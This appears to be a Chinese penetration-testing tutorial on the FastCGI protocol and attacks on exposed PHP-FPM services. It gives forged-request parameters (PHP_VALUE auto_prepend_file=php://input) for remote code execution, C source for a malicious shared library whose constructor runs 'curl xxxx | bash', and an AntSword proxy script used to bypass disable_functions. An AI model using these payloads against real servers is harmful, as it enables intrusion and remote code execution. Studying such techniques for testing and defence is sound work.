# Fastcgi 协议
FastCGI(Fast Common Gateway Interface)是一种用于管理网页服务器和应用程序之间通信的协议。它允许 web 服务器将动态内容的生成委托给一个单独的 FastCGI 进程,这样可以提高性能和安全性。FastCGI 协议允许持续的连接,这意味着它可以减少服务器和应用程序之间的通信开销,从而提高了系统的效率。这种协议通常用于连接网页服务器(如 Apache 或 Nginx)和动态内容生成器(如 PHP、Python 或 Ruby 等)之间。
就是一种通信协议,包含 record 和 body
其中的 record 类似于 HTTP 请求的 header
有 7 中类型
type 值 | 具体含义 |
---|---|
1 | 在与 php-fpm 建立连接之后发送的第一个消息中的 type 值就得为 1,用来表明此消息为请求开始的第一个消息 |
2 | 异常断开与 php-fpm 的交互 |
3 | 在与 php-fpm 交互中所发的最后一个消息中 type 值为此,以表明交互的正常结束 |
4 | 在交互过程中给 php-fpm 传递环境参数时,将 type 设为此,以表明消息中包含的数据为某个 name-value 对 |
5 | web 服务器将从浏览器接收到的 POST 请求数据(表单提交等)以消息的形式发给 php-fpm,这种消息的 type 就得设为 5 |
6 | php-fpm 给 web 服务器回的正常响应消息的 type 就设为 6 |
7 | php-fpm 给 web 服务器回的错误响应设为 7 |
# PHP-FPM
FastCGI 进程管理器
管理器将按照 fastcgi 协议将 TCP 流解析成可识别的数据。
# FPM 未授权
FPM 的默认监听端口是 9000。当暴露在公网时,可以通过自行构造 CGI 协议的数据与其进行通信,代替后端发送一个伪造的请求。将原本的 /var/www/html
的路径,修改成我们想要读取或运行的程序,从而进行解析。
但是在之后的版本当中添加了默认选项,先顶了只有一些后缀的文件能被 fpm 执行。当指向其他的文件时会返回 Access denied.
在渗透过程中,服务器安装了 php。在默认的路径下可能存在一些 php 文件,可以通过本地搭建后全局搜索的方式查找,这样在没有上传点且后缀限制的情况下,给出了渗透的可能。
# 任意代码执行
在 FPM 的 type 的 4 中,有诸多环境变量。
一种环境变量 PHP_VALUE
及 PHP_ADMIN_VALUE
是用来设置 PHP 配置项的。
PHP_VALUE
可以设置模式为 PHP_INI_USER
和 PHP_INI_ALL
的选项, PHP_ADMIN_VALUE
可以设置除 disable_functions
外所有选项。因为该选项在 PHP 进行加载的时候就已经确定了,disable 的函数将直接不被加载。
在 PHP 的配置中又有两个选项: auto_prepend_file
和 auto_prepend_file。
auto_prepend_file
将在解析 php 文件前包含指定的 php 文件。 auto_prepend_file
将在解析后包含指定的文件。
再加上一个 php 伪协议就可以直接秒了。input 的条件: allow_url_include = On
于是构造一个 FPM 的请求包含如下参数:
'PHP_VALUE': 'auto_prepend_file = php://input', | |
'PHP_ADMIN_VALUE': 'allow_url_include = On' |
这样就会在解析前包含 POST 上来的数据,构成 RCE
# 绕过 disable_functions
普通的 FPM 方法是无法绕过只能达到 RCE,是没有办法绕过 disable_functions 的
所以要上传一个 so 库,使用 extension 扩展引用这个 so 库来绕过 disable_functions
使用生成工具或者 C 语言进行编译
// gcc -c -fPIC hack.c -o hack | |
// gcc --share hack -o hack.so | |
#define _GNU_SOURCE | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
__attribute__ ((__constructor__)) void preload (void) | |
{ | |
system("curl xxxx | bash"); | |
} |
将生成的 so 文件上传
在 FPM 中引用: PHP_ADMIN_VALUE['extension'] = hack.so
这样就会触发
# 蚁剑 FPM 绕过 disable_functions
看到了 php 的路径 /www/server/php/56/etc
找到目标站点的 fpm 配置文件 /www/server/php/56/etc/php-fpm.conf
确定 fpm 的监听位置: /tmp/php-cgi-56.sock
在蚁剑中填入 FPM 的监听位置,运行一下,蚁剑会上传 .antproxy.php
重新添加一条记录,这个时候就已经是 bypass 了
其原理也比较简单,他上传的 so 是一个使用选择的 php 启动指定的网站目录,然后上传了一个代理程序来通过新启动的 php 服务进行访问: php -n -S 127.0.0.1:62409 -t /var/www/wwwroot
。这样就绕过了原本的 disable_functions 了
-S
参数会忽略 php.ini
以下为代理脚本内容:
<?php | |
// 获取客户端请求的 HTTP 头信息 | |
function get_client_header(){ | |
$headers=array(); | |
foreach($_SERVER as $k=>$v){ | |
if(strpos($k,'HTTP_')===0){ | |
$k=strtolower(preg_replace('/^HTTP/', '', $k)); | |
$k=preg_replace_callback('/_\w/','header_callback',$k); | |
$k=preg_replace('/^_/','',$k); | |
$k=str_replace('_','-',$k); | |
if($k=='Host') continue; | |
$headers[]="$k:$v"; | |
} | |
} | |
return $headers; | |
} | |
// 转换 HTTP 头信息中的下划线为破折号 | |
function header_callback($str){ | |
return strtoupper($str[0]); | |
} | |
// 解析 HTTP 响应中的头信息和内容 | |
function parseHeader($sResponse){ | |
list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2); | |
$ret=array($headerstr,$sResponse); | |
if(preg_match('/^HTTP\/1.1 \d{3}/', $sResponse)){ | |
$ret=parseHeader($sResponse); | |
} | |
return $ret; | |
} | |
// 设置执行时间限制 | |
set_time_limit(120); | |
// 获取客户端的 HTTP 头信息 | |
$headers=get_client_header(); | |
// 定义主机和端口 | |
$host = "127.0.0.1"; | |
$port = 63499; | |
// 初始化错误信息和超时时间 | |
$errno = ''; | |
$errstr = ''; | |
$timeout = 30; | |
// 定义 URL 路径 | |
$url = "/shell.php"; | |
// 如果有查询字符串,则添加到 URL 中 | |
if (!empty($_SERVER['QUERY_STRING'])){ | |
$url .= "?".$_SERVER['QUERY_STRING']; | |
}; | |
// 建立到主机的套接字连接 | |
$fp = fsockopen($host, $port, $errno, $errstr, $timeout); | |
if(!$fp){ | |
return false; // 如果连接失败则返回 false | |
} | |
// 初始化请求方法和 POST 数据 | |
$method = "GET"; | |
$post_data = ""; | |
if($_SERVER['REQUEST_METHOD']=='POST') { | |
$method = "POST"; | |
$post_data = file_get_contents('php://input'); | |
} | |
// 构建 HTTP 请求头部 | |
$out = $method." ".$url." HTTP/1.1\r\n"; | |
$out .= "Host: ".$host.":".$port."\r\n"; | |
if (!empty($_SERVER['CONTENT_TYPE'])) { | |
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; | |
} | |
$out .= "Content-length:".strlen($post_data)."\r\n"; | |
$out .= implode("\r\n",$headers); | |
$out .= "\r\n\r\n"; | |
$out .= "".$post_data; | |
// 发送 HTTP 请求 | |
fputs($fp, $out); | |
// 读取并存储响应数据 | |
$response = ''; | |
while($row=fread($fp, 4096)){ | |
$response .= $row; | |
} | |
fclose($fp); | |
// 从响应中提取内容部分 | |
$pos = strpos($response, "\r\n\r\n"); | |
$response = substr($response, $pos+4); | |
echo $response; // 输出响应内容 |